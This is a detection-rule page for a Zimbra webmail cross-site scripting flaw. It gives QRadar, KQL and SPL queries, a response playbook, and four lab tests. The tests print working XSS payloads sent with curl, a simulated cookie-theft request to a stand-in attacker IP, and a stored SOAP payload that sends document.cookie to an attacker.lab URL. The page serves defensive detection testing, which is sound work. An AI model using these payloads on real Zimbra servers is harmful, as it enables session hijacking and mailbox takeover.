CVE-2025-48700 IBM QRadar · QRadar

Detect Zimbra Collaboration Suite XSS Exploitation (CVE-2025-48700) in IBM QRadar

Detects exploitation of a stored or reflected cross-site scripting (XSS) vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This KEV-listed vulnerability allows attackers to inject malicious scripts into the Zimbra web client, potentially leading to session hijacking, credential theft, or further lateral movement within the organization. XSS in webmail platforms is frequently exploited by threat actors to steal session tokens and pivot to email account compromise.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
  DATEFORMAT(devicetime, 'yyyy-MM-dd HH:mm:ss') AS event_time,
  sourceip,
  username,
  URL,
  referrerURL,
  responseCode,
  QIDNAME(qid) AS event_name,
  logsourcename(logsourceid) AS log_source
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server', 'Microsoft IIS', 'Nginx', 'Zimbra')
  AND (
    URL IMATCHES '.*(/zimbra/|/service/soap|/h/|/m/).*'
    OR LOGSOURCETYPENAME(devicetype) = 'Zimbra'
  )
  AND (
    URL IMATCHES '.*(<script|javascript:|onerror=|onload=|eval\(|document\.cookie|document\.location|String\.fromCharCode|atob\().*'
    OR URL IMATCHES '.*(\%3Cscript|\%6A\%61\%76\%61|&#x3C;).*'
    OR referrerURL IMATCHES '.*(<script|javascript:|onerror=|onload=).*'
  )
  AND responseCode IN (200, 301, 302, 400)
  AND LOGSOURCESTARTTIME(logsourceid) > NOW() - 3600000
ORDER BY devicetime DESC
LIMIT 1000
high severity medium confidence

QRadar AQL query that identifies XSS payload patterns in HTTP request URLs and referrer headers targeting Zimbra web paths, covering both raw and URL-encoded XSS variants.

Data Sources

QRadar SIEMWeb server log sourcesProxy log sources

Required Tables

events

False Positives & Tuning

  • Automated vulnerability scanners running authorized assessments against Zimbra
  • Email campaign tracking URLs that contain encoded characters resembling XSS
  • Custom Zimbra zimlets or integrations that pass HTML content through URL parameters
  • Web application firewall logs that capture blocked XSS attempts from external sources

Other platforms for CVE-2025-48700


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic Reflected XSS Probe via Zimbra Search Parameter

    Expected signal: Web server access log entry showing GET /zimbra/h/search with q=%3Cscript%3E... URL-encoded payload, HTTP 200 response, source IP of test system

  2. Test 2Event Handler XSS Payload Delivery via Zimbra URL Parameter

    Expected signal: Web server access log showing GET requests to /zimbra/h/compose and /zimbra/h/ with onerror= and onload= patterns in URI query strings, HTTP response codes

  3. Test 3Simulated Session Cookie Exfiltration via XSS in Zimbra (Post-Exploitation)

    Expected signal: Outbound HTTP GET request from Zimbra user's source IP to external attacker-controlled IP containing URL-encoded session token data in the query string; proxy/firewall logs showing unusual outbound connection from Zimbra webmail user IP

  4. Test 4Stored XSS Payload Submission via Zimbra SOAP API

    Expected signal: Zimbra nginx access log showing POST to /service/soap with HTTP 200 response; Zimbra mailbox.log showing CreateContactRequest SOAP operation; POST body (if logged) containing the HTML-encoded XSS payload in the notes field


Response Playbook

Triage

  1. Identify the source IP address and user account associated with the XSS payload delivery. Determine if the IP is external, an internal trusted host, or a known scanner. Check threat intelligence feeds for the source IP reputation.
  2. Review Zimbra web server access logs for the specific request containing the XSS payload. Extract the full URI, query parameters, referrer, and user-agent string. Determine if the payload was reflected (in URL) or stored (submitted via form/POST body).
  3. Determine if the XSS payload was successfully rendered in a victim browser by checking for follow-up requests from the same session that indicate JavaScript execution (e.g., outbound beacon to attacker-controlled host, session token exfiltration, cookie theft attempts).
  4. Check Zimbra application logs (/opt/zimbra/log/mailbox.log, /opt/zimbra/log/nginx.access.log) for abnormal POST requests to /zimbra/h/compose, /service/soap, or zimlet endpoints that may indicate stored XSS submission.

Containment

  1. If active exploitation is confirmed, immediately block the source IP at the perimeter firewall and web application firewall (WAF). Enable WAF rules specifically targeting XSS patterns for all Zimbra endpoints if not already active.
  2. If session hijacking is suspected following XSS execution, force invalidation of all active Zimbra sessions via zmprov (e.g., 'zmprov -l gaaa' to list accounts, followed by session termination). Reset credentials for any accounts that received the malicious email or visited the affected Zimbra URL.
  3. Apply the vendor security patch from Zimbra Security Advisories (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories) immediately. If patching is not immediately possible, consider temporarily restricting access to affected Zimbra web components.

Evidence Collection

  1. Collect full Zimbra web server access logs (/opt/zimbra/log/nginx.access.log or equivalent), application logs (/opt/zimbra/log/mailbox.log), and audit logs for the time window surrounding the detected XSS activity. Preserve with chain of custody.
  2. If browser-side execution is suspected, collect memory dump or browser forensics from any endpoint that accessed the malicious Zimbra URL. Look for evidence of document.cookie exfiltration, localStorage access, or outbound JavaScript-initiated connections in proxy/DNS logs.
  3. Capture network traffic (PCAP) from the Zimbra server's network interface during or after the incident to identify any C2 callbacks, data exfiltration, or credential harvesting traffic initiated by the injected JavaScript payload.

Escalation Criteria

  • !Escalate immediately if there is evidence that the XSS payload resulted in session token theft or account takeover, particularly for privileged accounts (Zimbra admin, executive mailboxes, or service accounts with broad access).
  • !Escalate to incident response if the XSS appears to be part of a targeted phishing or business email compromise (BEC) campaign — for example, if malicious content was delivered via a crafted email that, when viewed in Zimbra webmail, triggered the XSS payload against multiple recipients.
  • !Escalate if post-exploitation activity is detected on the Zimbra server host itself (e.g., reverse shell, new cron jobs, unauthorized SSH access, file modification in /opt/zimbra), suggesting the XSS was used as an initial foothold for server-side compromise.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Zimbra nginx access log entries (/opt/zimbra/log/nginx.access.log) containing XSS payload strings in request URI or referrer fields with HTTP 200 response codes
  • >Zimbra mailbox application logs (/opt/zimbra/log/mailbox.log) showing abnormal SOAP API calls or zimlet invocations that may indicate stored XSS trigger events
  • >Outbound DNS queries from Zimbra server or client endpoints to attacker-controlled domains occurring shortly after the XSS trigger time (indicative of JavaScript-initiated beacon or data exfiltration)
  • >Browser history and cache artifacts on client endpoints showing access to malicious Zimbra URLs containing XSS payload strings
  • >Proxy/firewall logs showing unusual outbound HTTP POST requests from Zimbra user sessions to external infrastructure following the XSS event window

Tuning Guidance

Reduce false positives by baselining normal Zimbra URI query patterns in your environment and excluding known scanner IP ranges and authorized pen-test windows. Add allowlist entries for internal security scanning tools. If Zimbra sits behind a reverse proxy, ensure the actual client IP is preserved in X-Forwarded-For headers and parsed correctly by your SIEM. For stored XSS scenarios, focus detection on POST requests to /zimbra/h/compose or SOAP endpoints rather than GET parameters. Consider correlating XSS detections with subsequent unusual Zimbra SOAP API calls (especially GetInfoRequest, GetMessageRequest, or ForwardAppointmentRequest on behalf of another user) to reduce noise and prioritize confirmed exploitation. Tune confidence to 'high' once you have confirmed the specific Zimbra version in your environment is affected and have verified query syntax against your log format.


Hunting Queries

Threat hunting query to retrospectively identify XSS payload delivery attempts against Zimbra endpoints over the past 7 days, with URL decoding to catch encoded payloads that may have evaded signature-based detection

Hunting — KQL
kql
W3CIISLog
| where csUriStem has_any ("/zimbra/", "/service/soap", "/h/", "/m/")
| where TimeGenerated > ago(7d)
| extend DecodedQuery = url_decode(csUriQuery)
| where DecodedQuery has_any ("<script", "javascript:", "onerror=", "onload=", "eval(", "document.cookie", "document.location", "innerHTML", "document.write")
| project TimeGenerated, Computer, cIP = c_ip, csUsername, csUriStem, DecodedQuery, csUserAgent = cs_User_Agent, scStatus = sc_status
| order by TimeGenerated desc
Hunting — SPL
spl
index=web OR index=zimbra earliest=-7d
(uri_path="/zimbra/*" OR uri_path="/service/soap*" OR uri_path="/h/*" OR uri_path="/m/*")
| rex field=uri_query mode=sed "s/%([0-9A-Fa-f]{2})/\x\1/g" OUTPUT decoded_query
| where like(coalesce(decoded_query, uri_query), "%<script%") OR like(coalesce(decoded_query, uri_query), "%javascript:%") OR like(coalesce(decoded_query, uri_query), "%onerror=%") OR like(coalesce(decoded_query, uri_query), "%document.cookie%") OR like(coalesce(decoded_query, uri_query), "%eval(%")
| table _time, src_ip, http_user_name, uri_path, decoded_query, http_user_agent, status
| sort - _time

Hunt for outbound network connections from Zimbra user IPs to external infrastructure within 30 minutes of a detected XSS payload delivery, which may indicate JavaScript-initiated session token exfiltration or C2 beacon

Hunting — KQL
kql
// Hunt for potential session token exfiltration following Zimbra XSS
let ZimbraXSSTime = W3CIISLog
| where csUriStem has_any ("/zimbra/", "/service/soap")
| where csUriQuery has_any ("<script", "javascript:", "onerror=", "document.cookie")
| project XSSTime = TimeGenerated, VictimIP = c_ip;
CommonSecurityLog
| where TimeGenerated > ago(24h)
| join kind=inner ZimbraXSSTime on $left.SourceIP == $right.VictimIP
| where TimeGenerated between (XSSTime .. (XSSTime + 30m))
| where not(DestinationIP has_any ("10.", "172.16.", "192.168.", "127."))
| project TimeGenerated, SourceIP, DestinationIP, DestinationPort, RequestURL, ApplicationProtocol, XSSTime
| order by TimeGenerated asc
Hunting — SPL
spl
index=web OR index=proxy earliest=-24h
[search index=web (uri_path="/zimbra/*" OR uri_path="/service/soap*") (uri_query="*<script*" OR uri_query="*javascript:*" OR uri_query="*document.cookie*") | dedup src_ip | return 100 src_ip]
| where NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*" OR dest_ip="127.*")
| eval time_after_xss=strftime(_time, "%Y-%m-%d %H:%M:%S")
| table time_after_xss, src_ip, dest_ip, dest_port, url, bytes_out
| sort + _time

Atomic Red Team Tests

Test 1 Basic Reflected XSS Probe via Zimbra Search Parameter
linux

Simulates an attacker testing for reflected XSS in the Zimbra search functionality by injecting a basic script tag payload into the 'q' query parameter. This tests whether the vulnerability surface is present and whether the response reflects the payload.

Command

bash
# Lab environment only — requires test Zimbra instance
# Replace ZIMBRA_HOST and valid session cookie with lab values
ZIMBRA_HOST="zimbra.lab.internal"
SESSION_COOKIE="ZM_AUTH_TOKEN=your_test_token_here"

# Test basic script tag reflection
curl -sk -H "Cookie: $SESSION_COOKIE" \
  "https://$ZIMBRA_HOST/zimbra/h/search?q=%3Cscript%3Ealert%28%27CVE-2025-48700-XSS-TEST%27%29%3C%2Fscript%3E" \
  -o /tmp/zimbra_xss_response.html

# Check if payload is reflected in response
if grep -q "CVE-2025-48700-XSS-TEST" /tmp/zimbra_xss_response.html; then
  echo "[!] REFLECTED XSS CONFIRMED: Payload found in response body"
else
  echo "[*] Payload not reflected in response (may be encoded or filtered)"
fi
grep -o '.*CVE-2025-48700.*' /tmp/zimbra_xss_response.html | head -5

Cleanup

bash
rm -f /tmp/zimbra_xss_response.html

Expected Telemetry

Web server access log entry showing GET /zimbra/h/search with q=%3Cscript%3E... URL-encoded payload, HTTP 200 response, source IP of test system

Expected Detection

The XSS detection query should trigger on the URL-encoded script tag in the URI query parameter matching against Zimbra path /zimbra/h/search

Test 2 Event Handler XSS Payload Delivery via Zimbra URL Parameter
linux

Tests XSS via event handler attributes (onerror, onload) which may bypass naive script-tag-only filters. This simulates a more sophisticated attacker using alternative XSS vectors.

Command

bash
# Lab environment only
ZIMBRA_HOST="zimbra.lab.internal"
SESSION_COOKIE="ZM_AUTH_TOKEN=your_test_token_here"
ATTACKER_LOG="/tmp/zimbra_xss_event_handler.log"

# Test onerror event handler variant
curl -sk -H "Cookie: $SESSION_COOKIE" \
  "https://$ZIMBRA_HOST/zimbra/h/compose?to=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E" \
  -D - -o /tmp/zimbra_onerror_response.html 2>&1 | tee $ATTACKER_LOG

# Test onload variant
curl -sk -H "Cookie: $SESSION_COOKIE" \
  "https://$ZIMBRA_HOST/zimbra/h/?onload=alert(1)" \
  -o /tmp/zimbra_onload_response.html

echo "[*] Checking for payload reflection..."
grep -c 'onerror\|onload' /tmp/zimbra_onerror_response.html /tmp/zimbra_onload_response.html 2>/dev/null

Cleanup

bash
rm -f /tmp/zimbra_xss_event_handler.log /tmp/zimbra_onerror_response.html /tmp/zimbra_onload_response.html

Expected Telemetry

Web server access log showing GET requests to /zimbra/h/compose and /zimbra/h/ with onerror= and onload= patterns in URI query strings, HTTP response codes

Expected Detection

Detection query should match on onerror= and onload= patterns in URI query fields targeting Zimbra paths, flagging the event_handler XSS indicator type

Test 3 Simulated Session Cookie Exfiltration via XSS in Zimbra (Post-Exploitation)
linux

Simulates the post-XSS phase where an injected JavaScript payload attempts to exfiltrate the victim's session cookie to an attacker-controlled server. Tests whether outbound exfiltration traffic from a Zimbra user session is detectable.

Command

bash
# Lab environment only — simulates the outbound beacon from XSS payload execution
# This tests detection of the exfiltration, not the XSS injection itself

# Start a simple listener to receive the simulated exfiltration
nc -lvnp 8888 > /tmp/captured_exfil.txt &
NC_PID=$!

# Simulate what document.cookie exfiltration looks like in network traffic
# (Replace with your lab attacker IP)
ATTACKER_IP="192.168.100.10"
SIMULATED_COOKIE="ZM_AUTH_TOKEN=0_abc123def456_zimbra_test_session_token"

curl -sk "http://$ATTACKER_IP:8888/?stolen_cookie=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$SIMULATED_COOKIE'))")"

# Check what was captured
sleep 1
kill $NC_PID 2>/dev/null
cat /tmp/captured_exfil.txt

echo "[*] Simulated XSS cookie exfiltration completed. Check proxy/firewall logs for outbound GET to port 8888."

Cleanup

bash
kill $(lsof -ti:8888) 2>/dev/null; rm -f /tmp/captured_exfil.txt

Expected Telemetry

Outbound HTTP GET request from Zimbra user's source IP to external attacker-controlled IP containing URL-encoded session token data in the query string; proxy/firewall logs showing unusual outbound connection from Zimbra webmail user IP

Expected Detection

The hunting query correlating Zimbra XSS events with subsequent outbound connections should identify this exfiltration attempt within the 30-minute post-XSS time window

Test 4 Stored XSS Payload Submission via Zimbra SOAP API
linux

Simulates an attacker storing an XSS payload in a Zimbra resource (e.g., contact note, calendar event, or email draft) via the SOAP API, which would trigger when a victim views the content in the Zimbra web client.

Command

bash
# Lab environment only
ZIMBRA_HOST="zimbra.lab.internal"
SESSION_TOKEN="your_test_zm_auth_token"

# Craft SOAP request with XSS payload in contact note field
SOAP_PAYLOAD='<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <context xmlns="urn:zimbra">
      <authToken>'$SESSION_TOKEN'</authToken>
    </context>
  </soap:Header>
  <soap:Body>
    <CreateContactRequest xmlns="urn:zimbraMail">
      <cn>
        <a n="firstName">XSS</a>
        <a n="lastName">TestContact</a>
        <a n="notes">&lt;script&gt;document.location="http://attacker.lab/steal?c="+document.cookie&lt;/script&gt;</a>
      </cn>
    </CreateContactRequest>
  </soap:Body>
</soap:Envelope>'

curl -sk \
  -H 'Content-Type: application/soap+xml; charset=utf-8' \
  -H 'SOAPAction: CreateContactRequest' \
  -d "$SOAP_PAYLOAD" \
  "https://$ZIMBRA_HOST/service/soap" \
  | python3 -m json.tool 2>/dev/null || cat

echo "[*] Check Zimbra mailbox.log for CreateContactRequest with XSS payload"

Cleanup

bash
# Remove test contact via Zimbra admin console or 'zmprov' CLI
# zmprov -l gdl <test_account>@zimbra.lab.internal to verify contact deletion

Expected Telemetry

Zimbra nginx access log showing POST to /service/soap with HTTP 200 response; Zimbra mailbox.log showing CreateContactRequest SOAP operation; POST body (if logged) containing the HTML-encoded XSS payload in the notes field

Expected Detection

Detection tuned for POST requests to /service/soap should capture this stored XSS submission attempt; network inspection or CASB solutions may detect the XSS payload in the SOAP body if deep packet inspection is enabled

Related Detections